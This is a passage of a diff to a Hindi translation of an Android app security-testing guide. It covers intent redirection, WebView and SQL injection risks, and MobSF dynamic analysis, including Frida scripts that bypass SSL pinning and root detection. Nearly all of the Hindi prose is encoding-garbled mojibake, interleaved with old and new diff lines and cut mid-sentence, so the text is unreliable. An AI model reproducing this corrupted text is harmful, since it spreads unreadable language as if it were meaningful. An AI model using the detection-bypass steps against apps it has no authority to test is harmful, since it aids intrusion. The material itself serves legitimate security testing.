рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рдиреНрд╣реЗрдВ redirect рдХрд░рдХреЗ unsafe operations execute рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред -- рдпрд╣ non-exported components рдФрд░ content providers рдХреЛ attackers рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- `WebView` рдХреА URL рд╕реЗ `Intent` conversion рдЕрдирд┐рдЪреНрдЫрд┐рдд рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛ рд╕рдХрддреА рд╣реИред +- Exploits рдореЗрдВ `Intent` objects рдХреЛ extras рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рдиреНрд╣реЗрдВ redirect рдХрд░рдХреЗ unsafe operations рдХреЛ execute рдХрд░рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- рдпрд╣ non-exported components рдФрд░ content providers рдХреЛ attackers рдХреЗ рд╕рд╛рдордиреЗ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- `WebView` рджреНрд╡рд╛рд░рд╛ URL рд╕реЗ `Intent` рдореЗрдВ conversion рдЕрдирд┐рдЪреНрдЫрд┐рдд actions рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред ### Android Client Side Injections and others -рд╕рдВрднрд╡рддрдГ рдЖрдк Web рд╕реЗ рдЗрд╕ рддрд░рд╣ рдХреА vulnerabilities рдХреЛ рдЬрд╛рдирддреЗ рд╣реЛрдВрдЧреЗред Android application рдореЗрдВ рдЗрди vulnerabilities рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖ рд╕рд╛рд╡рдзрд╛рдиреА рдмрд░рддрдиреА рдЪрд╛рд╣рд┐рдП: +рд╢рд╛рдпрдж рдЖрдк рд╡реЗрдм рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреА vulnerabilities рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирддреЗ рд╣реЛрдВрдЧреЗред Android application рдореЗрдВ рдЗрди vulnerabilities рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖ рд╕рд╛рд╡рдзрд╛рдиреА рдмрд░рддрдиреА рдЪрд╛рд╣рд┐рдП: -- **SQL Injection:** рдЬрдм dynamic queries рдпрд╛ Content-Providers рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реЛрдВ рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк parameterized queries рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред -- **JavaScript Injection (XSS):** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдХрд┐рд╕реА рднреА WebViews рдХреЗ рд▓рд┐рдП JavaScript рдФрд░ Plugin support disabled рд╣реЛ (default рдореЗрдВ disabled)ред [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews рдХрд╛ file system access disabled рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (default рдореЗрдВ enabled) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрдм Android application session рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, cookie revoke рдирд╣реАрдВ рд╣реЛрддреА рдпрд╛ disk рдкрд░ рднреА save рд╣реЛ рд╕рдХрддреА рд╣реИ +- **SQL Injection:** рдЬрдм dynamic queries рдпрд╛ Content-Providers рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реЛрдВ рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк parameterized queries рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред +- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews рдХреЛ file system рддрдХ access disabled рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ enabled) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрдм the android application рд╕реЗрд╢рди рдЦрддреНрдо рдХрд░рддрд╛ рд╣реИ рддреЛ cookie revoke рдирд╣реАрдВ рд╣реЛрддрд╛ рдпрд╛ рдпрд╣ disk рдкрд░ рднреА saved рд╣реЛ рд╕рдХрддрд╛ рд╣реИ - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**рд╕реНрдЯреИрдЯрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг** ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** рдПрдХ рдЖрдХрд░реНрд╖рдХ web-based frontend рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░рддрд╛ рд╣реИред рдЖрдк dynamic analysis рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд░ рдЖрдкрдХреЛ environment рддреИрдпрд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛)ред +**рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ vulnerability рдЖрдХрд▓рди** рдПрдХ рдЕрдЪреНрдЫрд╛ web-based frontend рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдк рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ environment рддреИрдпрд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛)ред ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -618,39 +615,39 @@ MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal ### Assisted Dynamic analysis with MobSF -**MobSF** Android рдореЗрдВ **dynamic analysis** рдХреЗ рд▓рд┐рдП рднреА рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЙрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рд╣реЛрд╕реНрдЯ рдкрд░ MobSF рдФрд░ **genymotion** рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (VM рдпрд╛ Docker рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +**MobSF** рдореЛрдмрд╛рдЗрд▓ рдореЗрдВ **dynamic analysis** рдХреЗ рд▓рд┐рдП рднреА рдмрд╣реБрдд рдорджрджрдЧрд╛рд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рд╣реЛрд╕реНрдЯ рдкрд░ MobSF рдФрд░ **genymotion** рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (VM рдпрд╛ Docker рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ **MobSF dynamic analyser** рдирд┐рдореНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ: -- **Dump application data**: (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files)ред рдпреЗ рд╕рдм рдСрдЯреЛрдореИрдЯрд┐рдХрд▓реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп screenshots рдХреЗ тАФ screenshots рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рддрдм рдкреНрд░реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬрдм рдЖрдк screenshot рд▓реЗрдирд╛ рдЪрд╛рд╣реЗрдВ рдпрд╛ "**Exported Activity Tester**" рджрдмрд╛рдХрд░ рд╕рднреА exported activities рдХреЗ screenshots рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). рдЗрди рд╕рдм рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп screenshots рдХреЗ тАФ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд╕ рд╕рдордп рджрдмрд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬрдм рдЖрдк рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрд╛ рд╕рднреА exported activities рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "**Exported Activity Tester**" рджрдмрд╛рдирд╛ рд╣реЛрдЧрд╛ред - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -android рдХреЗ **versions > 5** рд╕реЗ, рдпрд╣ **automatically start Frida** рдХрд░реЗрдЧрд╛ рдФрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ capture рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП global **proxy** settings рд╕реЗрдЯ рдХрд░ рджреЗрдЧрд╛ред рдпрд╣ рдХреЗрд╡рд▓ рдЯреЗрд╕реНрдЯ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ application рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рд╣реА capture рдХрд░реЗрдЧрд╛ред +android **versions > 5** рд╕реЗ, рдпрд╣ **рд╕реНрд╡рддрдГ Frida рд╢реБрд░реВ** рдХрд░ рджреЗрдЧрд╛ рдФрд░ рдЯреНрд░реИрдлрд┐рдХ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП global **proxy** рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдХреЗрд╡рд▓ рдЯреЗрд╕реНрдЯ рдХреА рдЬрд╛ рд░рд╣реА application рд╕реЗ рдЯреНрд░реИрдлрд┐рдХ рд╣реА capture рдХрд░реЗрдЧрд╛ред **Frida** -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ рдХреБрдЫ Frida Scripts рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ **SSL pinning** рдХреЛ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, **root detection** рдФрд░ **debugger detection** рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ **interesting APIs** рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЬрд╛ рд╕рдХреЗред\ -MobSF exported activities рдХреЛ invoke рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрдирдХреЗ **screenshots** рд▓реЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ **save** рдХрд░ рд╕рдХрддрд╛ рд╣реИред +By default, рдпрд╣ рдХреБрдЫ Frida Scripts рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ **SSL pinning**, **root detection** рдФрд░ **debugger detection** рдХреЛ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ **interesting APIs** рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЬрд╛ рд╕рдХреЗред\ +MobSF **invoke exported activities** рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрдирдХрд╛ **screenshots** рд▓реЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ **save** рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдбрд╛рдпрдирд╛рдорд┐рдХ рдЯреЗрд╕реНрдЯ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рд░реЗ рдмрдЯрди рдкрд░ рдкреНрд░реЗрд╕ рдХрд░реЗрдВ: "**Start Instrumentation**". "**Frida Live Logs**" рджрдмрд╛рдХрд░ рдЖрдк Frida scripts рджреНрд╡рд╛рд░рд╛ рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП logs рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ "**Live API Monitor**" рджрдмрд╛рдХрд░ рдЖрдк hooked methods рдХреЗ рд╕рднреА invocation, рдкрд╛рд╕ рдХрд┐рдП рдЧрдП arguments рдФрд░ returned values рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ "Start Instrumentation" рджрдмрд╛рдиреЗ рдХреЗ рдмрд╛рдж рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛)ред\ -MobSF рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдЦреБрдж рдХреЗ **Frida scripts** рд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЕрдкрдиреЗ Frida scripts рдХреЗ рдкрд░рд┐рдгрд╛рдо MobSF рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП `send()` function рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред рдЗрд╕рдХреЗ рд╕рд╛рде рдХрдИ pre-written scripts рднреА рдЖрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдФрд░ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` рдореЗрдВ), рдмрд╕ рдЙрдиреНрд╣реЗрдВ **select** рдХрд░реЗрдВ, "**Load**" рджрдмрд╛рдПрдВ рдФрд░ "**Start Instrumentation**" рджрдмрд╛рдПрдВ (рдЖрдк рдЙрди scripts рдХреЗ logs "**Frida Live Logs**" рдХреЗ рдЕрдВрджрд░ рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗ)ред +рдбрд╛рдпрдирд╛рдорд┐рдХ рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рд░реЗ рдмрдЯрди рдкрд░ рдкреНрд░реЗрд╕ рдХрд░реЗрдВ: "**Start Instrumentation**". "**Frida Live Logs**" рдкрд░ рдкреНрд░реЗрд╕ рдХрд░рдХреЗ рдЖрдк Frida scripts рджреНрд╡рд╛рд░рд╛ рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП logs рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ "**Live API Monitor**" рдкрд░ рдЬрд╛рдХрд░ hooked methods, рдкрд╛рд╕ рдХрд┐рдП рдЧрдП arguments рдФрд░ returned values рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ "Start Instrumentation" рджрдмрд╛рдиреЗ рдХреЗ рдмрд╛рдж рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛)ред\ +MobSF рдЖрдкрдХреЛ рдЕрдкрдиреЗ **Frida scripts** рднреА рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЕрдкрдиреЗ Frida scripts рдХреЗ results рдХреЛ MobSF рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП `send()` function рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред рдЗрд╕рдореЗрдВ рдХрдИ **pre-written scripts** рднреА рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдФрд░ scripts `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` рдореЗрдВ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ), рдмрд╕ рдЙрдиреНрд╣реЗрдВ **select** рдХрд░реЗрдВ, "**Load**" рджрдмрд╛рдПрдБ рдФрд░ "**Start Instrumentation**" рджрдмрд╛рдПрдБ (рдЖрдк рдЙрди scripts рдХреЗ logs "**Frida Live Logs**" рдХреЗ рдЕрдВрджрд░ рджреЗрдЦ рдкрд╛рдПрдБрдЧреЗ)ред ![](<../../images/image (419).png>) -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ Auxiliary Frida рд╕реБрд╡рд┐рдзрд╛рдПрдВ рднреА рд╣реИрдВ: +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреБрдЫ Auxiliary Frida functionalities рд╣реИрдВ: -- **Enumerate Loaded Classes**: рдпрд╣ рд╕рднреА loaded classes рдХреЛ print рдХрд░реЗрдЧрд╛ -- **Capture Strings**: рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рд╕рднреА captured strings рдХреЛ print рдХрд░реЗрдЧрд╛ (рдмрд╣реБрдд noisy) -- **Capture String Comparisons**: рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ **show the 2 strings being compared** рдХрд░реЗрдЧрд╛ рдФрд░ рдмрддрд╛рдПрдЧрд╛ рдХрд┐ result True рдерд╛ рдпрд╛ Falseред -- **Enumerate Class Methods**: рдХреНрд▓рд╛рд╕ рдХрд╛ рдирд╛рдо рдбрд╛рд▓реЗрдВ (рдЬреИрд╕реЗ "java.io.File") рдФрд░ рдпрд╣ рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХреЗ рд╕рднреА methods print рдХрд░реЗрдЧрд╛ред -- **Search Class Pattern**: pattern рд╕реЗ classes рдЦреЛрдЬреЗрдВ -- **Trace Class Methods**: рдХрд┐рд╕реА рдкреВрд░реА рдХреНрд▓рд╛рд╕ рдХреЛ **Trace** рдХрд░реЗрдВ (рдХреНрд▓рд╛рд╕ рдХреЗ рд╕рднреА methods рдХреЗ inputs рдФрд░ outputs рджреЗрдЦреЗрдВ)ред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ MobSF рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк Android Api methods рдХреЛ trace рдХрд░рддрд╛ рд╣реИред +- **Enumerate Loaded Classes**: рдпрд╣ рд╕рднреА loaded classes рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ +- **Capture Strings**: application рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рд╕рднреА capture strings рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ (рдмрд╣реБрдд noisy) +- **Capture String Comparisons**: рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ **рджреЛрдиреЛрдВ strings рдЬреЛ compare рд╣реЛ рд░рд╣реА рд╣реИрдВ** рджрд┐рдЦрд╛рдПрдЧрд╛ рдФрд░ рдкрд░рд┐рдгрд╛рдо True рдпрд╛ False рдерд╛ рдпрд╛ рдирд╣реАрдВред +- **Enumerate Class Methods**: рдХреНрд▓рд╛рд╕ рдХрд╛ рдирд╛рдо рдбрд╛рд▓реЗрдВ (рдЬреИрд╕реЗ "java.io.File") рдФрд░ рдпрд╣ рдХреНрд▓рд╛рд╕ рдХреЗ рд╕рднреА methods рдкреНрд░рд┐рдВрдЯ рдХрд░ рджреЗрдЧрд╛ред +- **Search Class Pattern**: pattern рджреНрд╡рд╛рд░рд╛ classes рдЦреЛрдЬреЗрдВ +- **Trace Class Methods**: рдХрд┐рд╕реА **рдкреВрд░реА class** рдХреЛ **trace** рдХрд░реЗрдВ (рдХреНрд▓рд╛рд╕ рдХреЗ рд╕рднреА methods рдХреЗ inputs рдФрд░ outputs рджреЗрдЦреЗрдВ)ред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ default рдореЗрдВ MobSF рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк Android API methods рдХреЛ trace рдХрд░рддрд╛ рд╣реИред -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рд╡рд╣ auxiliary module рдЪреБрди рд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ "**Start Intrumentation**" рджрдмрд╛рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдк рд╕рднреА outputs "**Frida Live Logs**" рдореЗрдВ рджреЗрдЦреЗрдВрдЧреЗред +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╡рд╣ auxiliary module рдЪреБрди рд▓рд┐рдпрд╛ рд╣реИ рдЬреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ "**Start Intrumentation**" рджрдмрд╛рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдк рд╕рднреА outputs "**Frida Live Logs**" рдореЗрдВ рджреЗрдЦреЗрдВрдЧреЗред **Shell** -MobSF рдЖрдкрдХреЛ dynamic analysis рдкреЗрдЬ рдХреЗ рдиреАрдЪреЗ рдХреБрдЫ **adb** commands, **MobSF commands**, рдФрд░ рд╕рд╛рдорд╛рдиреНрдп **shell commands** рдХреЗ рд╕рд╛рде рдПрдХ shell рднреА рджреЗрддрд╛ рд╣реИред рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк commands: +MobSF рдбрд╛рдпрдирд╛рдорд┐рдХ analysis рдкреЗрдЬ рдХреЗ рдиреАрдЪреЗ рдХреБрдЫ **adb** commands, **MobSF commands**, рдФрд░ рд╕рд╛рдорд╛рдиреНрдп **shell** **commands** рдХреЗ рд╕рд╛рде рдПрдХ shell рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдХреБрдЫ рд░реЛрдЪрдХ commands: ```bash help shell ls @@ -661,13 +658,13 @@ receivers ``` **HTTP tools** -рдЬрдм http рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рд╣реЛрддрд╛ рд╣реИ рддреЛ рдЖрдк рдХреИрдкреНрдЪрд░ рдХрд┐рдП рдЧрдП рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдПрдХ рдЦрд░рд╛рдм рд╡реНрдпреВ "**HTTP(S) Traffic**" рдмреЙрдЯрдо рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ "**Start HTTPTools**" рд╣рд░реЗ рдмрдЯрди рдореЗрдВ рдПрдХ рдмреЗрд╣рддрд░ рд╡реНрдпреВред рджреВрд╕рд░реА рд╡рд┐рдХрд▓реНрдк рд╕реЗ, рдЖрдк **send** рдХрд░рдХреЗ **captured requests** рдХреЛ **proxies** рдЬреИрд╕реЗ Burp рдпрд╛ Owasp ZAP рдореЗрдВ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ.\ -рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> рджрдмрд╛рдПрдБ "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF рдХреЗ рд╕рд╛рде dynamic analysis рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЖрдк "**Start Web API Fuzzer**" рджрдмрд╛рдХрд░ **fuzz http requests** рдХрд░рдХреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +MobSF рдХреЗ рд╕рд╛рде dynamic analysis рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЖрдк "**Start Web API Fuzzer**" рджрдмрд╛рдХрд░ **fuzz http requests** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ vulnerabilities рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред > [!TIP] -> MobSF рдХреЗ рд╕рд╛рде dynamic analysis рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж proxy рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЧрд╝рд▓рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЖрдк рдЙрдиреНрд╣реЗрдВ GUI рд╕реЗ рдареАрдХ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдБрдЧреЗред рдЖрдк рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдЗрд╕ рдХрдорд╛рдВрдб рд╕реЗ рдареАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +> MobSF рдХреЗ рд╕рд╛рде dynamic analysis рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж proxy settings рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЖрдк рдЙрдиреНрд╣реЗрдВ GUI рд╕реЗ рдареАрдХ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдЖрдк proxy settings рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: > > ``` > adb shell settings put global http_proxy :0 @@ -675,18 +672,18 @@ MobSF рдХреЗ рд╕рд╛рде dynamic analysis рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ ### Assisted Dynamic Analysis with Inspeckage -рдЖрдк рдпрд╣ рдЯреВрд▓ [**Inspeckage**](https://github.com/ac-pm/Inspeckage) рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдпрд╣ рдЯреВрд▓ рдХреБрдЫ **Hooks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рдЖрдк **dynamic analysis** рдХрд░ рд░рд╣реЗ рд╣реЛрдВ рддреЛ рдпрд╣ рдЖрдкрдХреЛ рдмрддрд╛рдпреЗ **what is happening in the application**ред +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +рдпрд╣ 